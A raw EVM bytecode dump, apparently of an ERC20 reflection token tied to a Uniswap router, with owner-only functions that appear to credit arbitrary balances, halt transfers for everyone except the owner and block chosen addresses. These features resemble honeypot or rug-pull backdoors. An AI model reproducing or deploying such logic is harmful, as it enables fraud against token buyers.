5b611279565b600190509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600e548211156107f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ed9061231a565b60405180910390fd5b6000610800611955565b9050610815818461112790919063ffffffff16565b915050919050565b6000600360009054906101000a900460ff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006109036108676111bb565b846108fe85600560006108786111bb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121b90919063ffffffff16565b611279565b6001905092915050565b6000683635c9adc5dea0000083111561095b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095290612386565b60405180910390fd5b8161097a57600061096b846111c3565b50505050905080915050610990565b6000610985846111c3565b505050915050809150505b92915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109e76111bb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6b906123f2565b60405180910390fd5b60001515601160009054906101000a900460ff1615151415610ab0576001601160006101000a81548160ff021916908315150217905550610acc565b6000601160006101000a81548160ff0219169083151502179055505b565b610ad66111bb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a906123f2565b60405180910390fd5b610bb581600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121b90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b606060028054610c0b90612276565b80601f0160208091040260200160405190810160405280929190818152602001828054610c3790612276565b8015610c845780601f10610c5957610100808354040283529160200191610c84565b820191906000526020600020905b815481529060010190602001808311610c6757829003601f168201915b5050505050905090565b60048054610c9b90612276565b80601f0160208091040260200160405190810160405280929190818152602001828054610cc790612276565b8015610d145780601f10610ce957610100808354040283529160200191610d14565b820191906000526020600020905b815481529060010190602001808311610cf757829003601f168201915b505050505081565b6000610ddf610d296111bb565b84610dda85604051806060016040528060258152602001612a936025913960056000610d536111bb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f19092919063ffffffff16565b611279565b6001905092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610e53610e4c6111bb565b8484611444565b6001905092915050565b610e656111bb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee9906123f2565b60405180910390fd5b60011515600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610fa8576000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611086565b6001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507ffd10695dff0b5bb045a171a98028708efb4c190e9bad2e5c7c03726c569fe15981600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660405161107d929190612412565b60405180910390a15b50565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000601160009054906101000a900460ff16905090565b600061116983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611980565b905092915050565b60006111b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118f1565b905092915050565b600033905090565b60008060008060008060006111d7886119e3565b9150915060006111e5611955565b905060008060006111f78c8686611a36565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b600080828461122a919061246a565b90508381101561126f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112669061250c565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e09061259e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611359576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135090612630565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611437919061200d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ab906126c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611524576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151b90612754565b60405180910390fd5b60008111611567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155e906127e6565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116085750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156116515760008114611650576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116479061282c565b60405180910390fd5b5b60001515601160009054906101000a900460ff16151514806116a55750611676611a94565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116e257506116b3611a94565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156118955761175381604051806060016040528060268152602001612a4560269139600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f19092919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117e881600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121b90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611888919061200d565b60405180910390a36118ec565b60001515601160009054906101000a900460ff161515146118eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e29061282c565b60405180910390fd5b5b505050565b6000838311158290611939576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119309190611f08565b60405180910390fd5b5060008385611948919061284c565b9050809150509392505050565b6000806000611962611abd565b91509150611979818361112790919063ffffffff16565b9250505090565b600080831182906119c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119be9190611f08565b60405180910390fd5b50600083856119d691906128af565b9050809150509392505050565b6000806000611a106003611a026103e88761112790919063ffffffff16565b611d8c90919063ffffffff16565b90506000611a27828661117190919063ffffffff16565b90508082935093505050915091565b600080600080611a4f8588611d8c90919063ffffffff16565b90506000611a668688611d8c90919063ffffffff16565b90506000611a7d828461117190919063ffffffff16565b905082818395509550955050505093509350939050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600e5490506000683635c9adc5dea00000905060005b600f80549050811015611d41578260066000600f8481548110611afe57611afd6128e0565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180611bec57508160086000600f8481548110611b8457611b836128e0565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15611c0a57600e54683635c9adc5dea0000094509450505050611d88565b611c9a60066000600f8481548110611c2557611c246128e0565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461117190919063ffffffff16565b9250611d2c60086000600f8481548110611cb757611cb66128e0565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361117190919063ffffffff16565b91508080611d399061290f565b915050611ad8565b50611d60683635c9adc5dea00000600e5461112790919063ffffffff16565b821015611d7f57600e54683635c9adc5dea00000935093505050611d88565b81819350935050505b9091565b600080831415611d9f5760009050611e01565b60008284611dad9190612958565b9050828482611dbc91906128af565b14611dfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df390612a24565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b611e1f81611e0c565b8114611e2a57600080fd5b50565b600081359050611e3c81611e16565b92915050565b600060208284031215611e5857611e57611e07565b5b6000611e6684828501611e2d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ea9578082015181840152602081019050611e8e565b83811115611eb8576000848401525b50505050565b6000601f19601f8301169050919050565b6000611eda82611e6f565b611ee48185611e7a565b9350611ef4818560208601611e8b565b611efd81611ebe565b840191505092915050565b60006020820190508181036000830152611f228184611ecf565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f5582611f2a565b9050919050565b611f6581611f4a565b8114611f7057600080fd5b50565b600081359050611f8281611f5c565b92915050565b60008060408385031215611f9f57611f9e611e07565b5b6000611fad85828601611f73565b9250506020611fbe85828601611e2d565b9150509250929050565b60008115159050919050565b611fdd81611fc8565b82525050565b6000602082019050611ff86000830184611fd4565b92915050565b61200781611e0c565b82525050565b60006020820190506120226000830184611ffe565b92915050565b60008060006060848603121561204157612040611e07565b5b600061204f86828701611f73565b935050602061206086828701611f73565b925050604061207186828701611e2d565b9150509250925092565b61208481611f4a565b82525050565b600060208201905061209f600083018461207b565b92915050565b600060ff82169050919050565b6120bb816120a5565b82525050565b60006020820190506120d660008301846120b2565b92915050565b6120e581611fc8565b81146120f057600080fd5b50565b600081359050612102816120dc565b92915050565b6000806040838503121561211f5761211e611e07565b5b600061212d85828601611e2d565b925050602061213e858286016120f3565b9150509250929050565b60006020828403121561215e5761215d611e07565b5b600061216c84828501611f73565b91505092915050565b6000806040838503121561218c5761218b611e07565b5b600061219a85828601611f73565b92505060206121ab85828601611f73565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612211602c83611e7a565b915061221c826121b5565b604082019050919050565b6000602082019050818103600083015261224081612204565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061228e57607f821691505b602082108114156122a2576122a1612247565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612304602a83611e7a565b915061230f826122a8565b604082019050919050565b60006020820190508181036000830152612333816122f7565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b6000612370601f83611e7a565b915061237b8261233a565b602082019050919050565b6000602082019050818103600083015261239f81612363565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006123dc602083611e7a565b91506123e7826123a6565b602082019050919050565b6000602082019050818103600083015261240b816123cf565b9050919050565b6000604082019050612427600083018561207b565b6124346020830184611fd4565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061247582611e0c565b915061248083611e0c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124b5576124b461243b565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006124f6601b83611e7a565b9150612501826124c0565b602082019050919050565b60006020820190508181036000830152612525816124e9565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612588602483611e7a565b91506125938261252c565b604082019050919050565b600060208201905081810360008301526125b78161257b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061261a602283611e7a565b9150612625826125be565b604082019050919050565b600060208201905081810360008301526126498161260d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006126ac602583611e7a565b91506126b782612650565b604082019050919050565b600060208201905081810360008301526126db8161269f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061273e602383611e7a565b9150612749826126e2565b604082019050919050565b6000602082019050818103600083015261276d81612731565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006127d0602983611e7a565b91506127db82612774565b604082019050919050565b600060208201905081810360008301526127ff816127c3565b9050919050565b50565b6000612816600083611e7a565b915061282182612806565b600082019050919050565b6000602082019050818103600083015261284581612809565b9050919050565b600061285782611e0c565b915061286283611e0c565b9250828210156128755761287461243b565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006128ba82611e0c565b91506128c583611e0c565b9250826128d5576128d4612880565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061291a82611e0c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561294d5761294c61243b565b5b600182019050919050565b600061296382611e0c565b915061296e83611e0c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129a7576129a661243b565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a0e602183611e7a565b9150612a19826129b2565b604082019050919050565b60006020820190508181036000830152612a3d81612a01565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220bfccdab985b96e7165e0efa227a00c0ad97773a4b766d470def516943a7f1d4764736f6c634300080800330000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101425760003560e01c806370a08231116100b8578063a457c2d71161007c578063a457c2d71461037b578063a77c1b08146103ab578063a9059cbb146103db578063c71e60701461040b578063dd62ed3e14610427578063ee882fb51461045757610142565b806370a08231146102e9578063787a08a6146103195780637aadbea91461032357806395d89b411461033f5780639d8d84061461035d57610142565b806329bd54101161010a57806329bd5410146101ff5780632d8381191461021d578063313ce5671461024d578063377ad1271461026b57806339509351146102895780634549b039146102b957610142565b8063053ab1821461014757806306fdde0314610163578063095ea7b31461018157806318160ddd146101b157806323b872dd146101cf575b600080fd5b610161600480360381019061015c9190611e42565b610475565b005b61016b6105ef565b6040516101789190611f08565b60405180910390f35b61019b60048036038101906101969190611f88565b610681565b6040516101a89190611fe3565b60405180910390f35b6101b961069f565b6040516101c6919061200d565b60405180910390f35b6101e960048036038101906101e49190612028565b6106b0565b6040516101f69190611fe3565b60405180910390f35b610207610789565b604051610214919061208a565b60405180910390f35b61023760048036038101906102329190611e42565b6107af565b604051610244919061200d565b60405180910390f35b61025561081d565b60405161026291906120c1565b60405180910390f35b610273610834565b604051610280919061208a565b60405180910390f35b6102a3600480360381019061029e9190611f88565b61085a565b6040516102b09190611fe3565b60405180910390f35b6102d360048036038101906102ce9190612108565b61090d565b6040516102e0919061200d565b60405180910390f35b61030360048036038101906102fe9190612148565b610996565b604051610310919061200d565b60405180910390f35b6103216109df565b005b61033d60048036038101906103389190611f88565b610ace565b005b610347610bfc565b6040516103549190611f08565b60405180910390f35b610365610c8e565b6040516103729190611f08565b60405180910390f35b61039560048036038101906103909190611f88565b610d1c565b6040516103a29190611fe3565b60405180910390f35b6103c560048036038101906103c09190612148565b610de9565b6040516103d29190611fe3565b60405180910390f35b6103f560048036038101906103f09190611f88565b610e3f565b6040516104029190611fe3565b60405180910390f35b61042560048036038101906104209190612148565b610e5d565b005b610441600480360381019061043c9190612175565b611089565b60405161044e919061200d565b60405180910390f35b61045f611110565b60405161046c9190611fe3565b60405180910390f35b600061047f6111bb565b9050600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561050e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050590612227565b60405180910390fd5b6000610519836111c3565b50505050905061057181600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461117190919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105c981600e5461117190919063ffffffff16565b600e819055506105e48360105461121b90919063ffffffff16565b601081905550505050565b6060600180546105fe90612276565b80601f016020809104026020016040519081016040528092919081815260200182805461062a90612276565b80156106775780601f1061064c57610100808354040283529160200191610677565b820191906000526020600020905b81548152906001019060200180831161065a57829003601f168201915b5050505050905090565b600061069561068e6111bb565b8484611279565b6001905092915050565b6000683635c9adc5dea00000905090565b60006106bd848484611444565b61077e846106c96111bb565b61077985604051806060016040528060288152602001612a6b60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061072f6111bb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f19092919063ffffffff16565b611279565b600190509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600e548211156107f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ed9061231a565b60405180910390fd5b6000610800611955565b9050610815818461112790919063ffffffff16565b915050919050565b6000600360009054906101000a900460ff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006109036108676111bb565b846108fe85600560006108786111bb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121b90919063ffffffff16565b611279565b6001905092915050565b6000683635c9adc5dea0000083111561095b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095290612386565b60405180910390fd5b8161097a57600061096b846111c3565b50505050905080915050610990565b6000610985846111c3565b505050915050809150505b92915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109e76111bb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6b906123f2565b60405180910390fd5b60001515601160009054906101000a900460ff1615151415610ab0576001601160006101000a81548160ff021916908315150217905550610acc565b6000601160006101000a81548160ff0219169083151502179055505b565b610ad66111bb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a906123f2565b60405180910390fd5b610bb581600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121b90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b606060028054610c0b90612276565b80601f0160208091040260200160405190810160405280929190818152602001828054610c3790612276565b8015610c845780601f10610c5957610100808354040283529160200191610c84565b820191906000526020600020905b815481529060010190602001808311610c6757829003601f168201915b5050505050905090565b60048054610c9b90612276565b80601f0160208091040260200160405190810160405280929190818152602001828054610cc790612276565b8015610d145780601f10610ce957610100808354040283529160200191610d14565b820191906000526020600020905b815481529060010190602001808311610cf757829003601f168201915b505050505081565b6000610ddf610d296111bb565b84610dda85604051806060016040528060258152602001612a936025913960056000610d536111bb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f19092919063ffffffff16565b611279565b6001905092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610e53610e4c6111bb565b8484611444565b6001905092915050565b610e656111bb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee9906123f2565b60405180910390fd5b60011515600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610fa8576000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611086565b6001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507ffd10695dff0b5bb045a171a98028708efb4c190e9bad2e5c7c03726c569fe15981600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660405161107d929190612412565b60405180910390a15b50565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000601160009054906101000a900460ff16905090565b600061116983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611980565b905092915050565b60006111b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118f1565b905092915050565b600033905090565b60008060008060008060006111d7886119e3565b9150915060006111e5611955565b905060008060006111f78c8686611a36565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b600080828461122a919061246a565b90508381101561126f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112669061250c565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e09061259e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611359576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135090612630565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611437919061200d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ab906126c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611524576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151b90612754565b60405180910390fd5b60008111611567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155e906127e6565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116085750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156116515760008114611650576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116479061282c565b60405180910390fd5b5b60001515601160009054906101000a900460ff16151514806116a55750611676611a94565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116e257506116b3611a94565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156118955761175381604051806060016040528060268152602001612a4560269139600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f19092919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117e881600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121b90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611888919061200d565b60405180910390a36118ec565b60001515601160009054906101000a900460ff161515146118eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e29061282c565b60405180910390fd5b5b505050565b6000838311158290611939576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119309190611f08565b60405180910390fd5b5060008385611948919061284c565b9050809150509392505050565b6000806000611962611abd565b91509150611979818361112790919063ffffffff16565b9250505090565b600080831182906119c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119be9190611f08565b60405180910390fd5b50600083856119d691906128af565b9050809150509392505050565b6000806000611a106003611a026103e88761112790919063ffffffff16565b611d8c90919063ffffffff16565b90506000611a27828661117190919063ffffffff16565b90508082935093505050915091565b600080600080611a4f8588611d8c90919063ffffffff16565b90506000611a668688611d8c90919063ffffffff16565b90506000611a7d828461117190919063ffffffff16565b905082818395509550955050505093509350939050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600e5490506000683635c9adc5dea00000905060005b600f80549050811015611d41578260066000600f8481548110611afe57611afd6128e0565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180611bec57508160086000600f8481548110611b8457611b836128e0565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15611c0a57600e54683635c9adc5dea0000094509450505050611d88565b611c9a60066000600f8481548110611c2557611c246128e0565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461117190919063ffffffff16565b9250611d2c60086000600f8481548110611cb757611cb66128e0565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361117190919063ffffffff16565b91508080611d399061290f565b915050611ad8565b50611d60683635c9adc5dea00000600e5461112790919063ffffffff16565b821015611d7f57600e54683635c9adc5dea00000935093505050611d88565b81819350935050505b9091565b600080831415611d9f5760009050611e01565b60008284611dad9190612958565b9050828482611dbc91906128af565b14611dfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df390612a24565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b611e1f81611e0c565b8114611e2a57600080fd5b50565b600081359050611e3c81611e16565b92915050565b